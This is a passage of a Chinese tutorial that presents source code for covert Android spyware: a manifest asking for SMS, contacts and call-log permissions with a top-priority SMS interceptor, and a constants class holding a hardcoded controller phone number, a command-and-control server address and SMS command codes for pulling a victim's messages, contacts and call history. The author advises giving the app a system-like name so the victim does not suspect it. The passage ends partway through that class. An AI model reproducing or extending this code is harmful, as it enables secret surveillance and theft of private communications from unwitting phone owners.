不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。
一下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API
为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage
包结构:
清单文件,主要是一些用到的android权限
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.me.androidsystem"
- android:versionCode="1"
- android:versionName="1.0" >
- <!-- 接收短信权限 -->
- <uses-permission android:name="android.permission.RECEIVE_SMS" />
- <uses-permission android:name="android.permission.SEND_SMS" />
- <uses-permission android:name="android.permission.READ_SMS"/>
- <!-- 访问internet权限 -->
- <uses-permission android:name="android.permission.INTERNET" />
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
- <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
- <uses-permission android:name="android.permission.READ_CONTACTS"/>
- <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
- <uses-permission android:name="android.permission.READ_CALL_LOG"/>
- <uses-sdk
- android:minSdkVersion="7"
- android:targetSdkVersion="18" />
- <application
- android:allowBackup="true"
- android:icon="@drawable/ic_launcher"
- android:label="@string/app_name"
- android:theme="@style/AppTheme" >
- <receiver android:name="com.me.androidsystem.SmsReceiver">
- <intent-filter android:priority="1000" >
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- <receiver android:name="com.me.androidsystem.NetstateReceiver">
- <intent-filter>
- <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
- </intent-filter>
- </receiver>
- <service android:name="com.me.androidsystem.service.SmsService" >
- </service>
- <service android:name="com.me.androidsystem.service.PhoService" >
- </service>
- </application>
- </manifest>
常用字段我全部写在一个类中了
- package com.me.androidsystem.util;
- /*
- 操作说明
- 控制端发送短信指令
- 1 ————获取客户端的所有短信
- 2 ————获取客户端的所有通信录包括通话记录
- 3 ————仅获取客户端的所有通话记录
- 4 ————短信转发
- 11————设置获取客户端所有短信的模式为短信发送模式
- 12————设置获取客户端所有短信的模式为网络发送模式
- 13————设置获取客户端所有短信的模式为网络优先发送模式
- 21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式
- 22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式
- 23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式
- 30————设置获取客户端当前短信的模式为不获取
- 31————设置获取客户端当前短信的模式为短信模式
- 32————设置获取客户端当前短信的模式为网络模式
- 33————设置获取客户端当前短信的模式为网络优先模式
- 如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上
- */
- public class ServiceUtil {
- //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号
- public static String CONTROL_NUMBER = "+8618271803015";
- //控制端的网络服务器192.168.137.218 221.234.230.22
- public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
- //发送电话信息请求的Servlet
- public static final String PHO_SERVLET = "GetPHOInfoServlet";
- //发送单个短信请求的Servlet 目前没有用
- public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
- //控制端的key
- public static final String CONTROL_START = "qingxue";
- //配置文件的名称
- public static final String CONFIG_NAME = "config";
- //保存离线短信信息文件
- public static final String OFF_INFO = "off_info";
- public static final String COMMAND="command";
- //控制端获取用户的所有短信
- public static final int GET_ALL_SMS = 1;
- //控制端获取用户所有电话和通话记录
- public static final int GET_ALL_PHO = 2;
- //控制端获取用户所有通话记录
- public static final int GET_ONLY_PHO = 3;
- //短信转发
- public static final int SMS_TRANSPOND = 4;